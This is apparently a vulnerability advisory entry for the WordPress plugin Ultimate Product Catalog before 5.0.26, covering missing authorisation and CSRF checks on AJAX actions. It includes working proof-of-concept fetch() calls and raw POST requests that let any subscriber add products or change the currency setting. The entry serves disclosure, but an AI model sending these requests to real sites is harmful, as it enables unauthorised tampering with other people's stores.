Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:514416FA-D915-4953-BF1B-6DBF40B4D7E5
HistoryJan 06, 2022 - 12:00 a.m.

Ultimate Product Catalog < 5.0.26 - Subscriber+ Arbitrary Product Creation & Settings Update

2022-01-0600:00:00
Krzysztof Zając
89

0.001 Low

EPSS

Percentile

21.4%

The plugin does not have authorisation and CSRF checks in some AJAX actions, which could allow any authenticated users, such as subscriber to call them and add arbitrary products, or change the plugin’s settings for example

To add a product:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=ewd_upcp_welcome_add_product&product_name=Name&product_description=Description&product_price=100",
  "method": "POST",
  "credentials": "include"
});


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 103
Connection: close
Cookie: [any authenticated user]

action=ewd_upcp_welcome_add_product&product_name=Name&product_description=Description&product_price=100

To change the currency settings:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=ewd_upcp_welcome_set_options&currency_symbol=aaaaaaaa",
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 60
Connection: close
Cookie: [any authenticated user]

action=ewd_upcp_welcome_set_options&currency_symbol=aaaaaaaa

0.001 Low

EPSS

Percentile

21.4%

Related for WPEX-ID:514416FA-D915-4953-BF1B-6DBF40B4D7E5